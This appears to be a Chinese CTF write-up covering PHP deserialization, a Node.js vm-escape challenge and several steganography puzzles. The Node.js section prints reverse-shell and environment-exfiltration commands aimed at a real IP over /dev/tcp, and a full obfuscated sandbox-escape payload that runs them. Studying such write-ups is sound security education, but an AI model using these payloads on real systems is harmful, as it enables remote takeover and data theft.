Web
ezpop - solved
知识点:php fast destruct 反序列化
源码:
<?php |
注意有unicode字符,复制到vscode就看得出来:
fast destruct,一眼顶针。参考链接:https://www.wangan.com/p/7fy7f46cd2c8727f
说来也巧,第一次碰到这种题目也是在这个平台,当时还是烨师傅(好像是他出的?)用来拷打新生的,我就被狠狠地拷打了。
做这题本地调试版本一定要和题目对应,7和8的得到的结果完全不同。这里收录了php的所有windows版本:https://windows.php.net/downloads/releases/archives/。
fast destruct原理:
1、如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(), 提前触发反序列化链条。
因为手动抛异常时,强制退出程序,不会回收对象,即不会执行对象的__destruct。且题目序列化出来的对象被赋给了程序中的变量,该对象不会立刻销毁,所以我们要在抛异常之前销毁对象。
以下是几个可以触发实现了fast destruct 的例子(php7):
<?php |
所以题目的exp:
$night = new night(); |
发包:
unserialize - solved
第一次见,还好出的不难,搜一下php如何修改对象私有属性就可以了。
unserialze函数不给用
ReflectionClass也不可以,然后发现ReflectionObject可以。
exp:
ezrce - unsolved
无参rce这个知识点,忘记了……
参考链接:https://www.cnblogs.com/pursue-security/p/15406272.html
当时只做到这一步,就一直卡了。
赛后复现:
test - unsolved
比赛时没仔细看F12,以为是什么难题,就不看了。赛后看了一眼wp,说F12里有东西,接着不看wp,自己往下做,做出来了。
藏在这里,当时只重点关注有没有绿色的注释了……
经过不断测试,发现profile后面加自己注册过的用户名才会返回结果,否则返回null。猜测那32位的是md5,什么的md5?那肯定是密码的md5。
试试admin账号:
拿去解一下:
登录:
目的很明显了,传个反弹shell过去:
Esc4pe_T0_Mong0 - unsolved
知识点:nodejs vm逃逸,利用js语法绕过waf,mongodb基本命令。
赛后复现。记录了自己思考的过程,还有payload的迭代,所以会显得很啰嗦。把不同版本的写法都放在一起才知道哪些细节的妙处在哪。
(下面exp的ip是内网穿透的ip,不是我自己的,不怕放出来hhhhh)
源码:
目标:绕过waf,实现反弹shell,再进入mongodb找flag。
自己一开始写的,没注意到换行符给ban:
cmd = 'bash -c "env>/dev/tcp/61.139.65.134/36264"' |
当时难想到怎样把fromCharCode传给constructor,所以用了换行符。
自己后面再测了下,可以这样写,可弹计算器:
code = "with(String)with(this)with(constructor)(constructor(fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99,39,41)))()" |
wp的写法是将fromCharCode用变量表示,还用到逗号表达式,太妙了。
cmd = 'bash -c "bash -i &>/dev/tcp/61.139.65.134/36264 0>&1"' |
上面没了过滤字符,但是太长了,457。想了一会,return...exec
那里要拆开写,不能全转ascii。
下面再改,改了code的写法,同时将一些ascii用变量表示。
def str2ascii(string): |
长度381,还差一点。
看看到这里code长啥样:
with(String)with(a=114,b=101,c=32,d=99,e=115,g=54,h=49,f=fromCharCode,this)with(constructor)with(constructor(f(a,b,116,117,a,110,c,112,a,111,d,b,e,e))())with(mainModule)with(require(f(d,104,105,108,100,95,112,a,111,d,b,e,e)))exec(f(98,97,e,104,c,45,d,c,34,98,97,e,104,c,45,105,c,38,62,47,100,b,118,47,116,d,112,47,g,h,46,h,51,57,46,g,53,46,h,51,52,47,51,g,50,g,52,c,48,62,38,h,34)) |
最后的改进:将声明变量省略,直接在第一次使用该变量的位置声明。赋值语句返回值是值。
最终payload,长度363:
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(a=114,b=101,116,117,a,110,c=32,i=112,a,111,d=99,b,e=115,e))())with(mainModule)with(require(f(d,j=104,105,108,100,95,i,a,111,d,b,e,e)))exec(f(98,97,e,j,c,45,d,c,34,98,97,e,j,c,45,105,c,38,62,47,100,b,118,47,116,d,i,47,g=54,h=49,46,h,51,57,46,g,53,46,h,51,52,47,51,g,50,g,52,c,48,62,38,h,34)) |
Misc
管道 - solved
zsteg 管道.png --all
可是雪啊飘进双眼 - solved
给了一个flag.zip,有密码;一个音频hint.wav,一个文本snow.txt。
hint.wav里有摩斯电码,解出来是WOAISHANXI。
文本文件打开,全选,发现空白字符。
说实话没接触过,无从下手,有\t有空格,尝试从二进制角度解,未果。吃个饭回来看了一会,突然意识到自己好蠢啊,就硬看,不会搜吗?
得到一个工具,文档:
跑工具:
解压缩包,得到两个图片,hide.jpg和key.jpg。
key.jpg:
有点大,8.26M,binwalk跑一下:binwalk -e key.jpg --run-as=root
,得到另一张图片:
密码:BC1PVEYD
jpg图片,而且还要密码,用steghide跑:
你是不是很疑惑呢 - unsolved
官方wp:
貌似跟zip rar有关系。我用的360压缩的解压,下载的附件是个zip,直接解压也能看见时间信息:
读取时间信息。
注意,将图片文件送到项目里的时候不要复制,会修改图片的创建时间。当时第一次用的是复制,异或不出来,吃饭时候想可能是复制的问题,回来一看确实是。
复制后的图片信息:
Findme -unsolved
左上角Edit,导出这个chunk,然后删去,保存。
导出的chunk开头4个字节是IDAT头,删去,只保留data部分。
用VeraCrypt打开。(key.png是删掉那个chunk后的图片)
打开成功: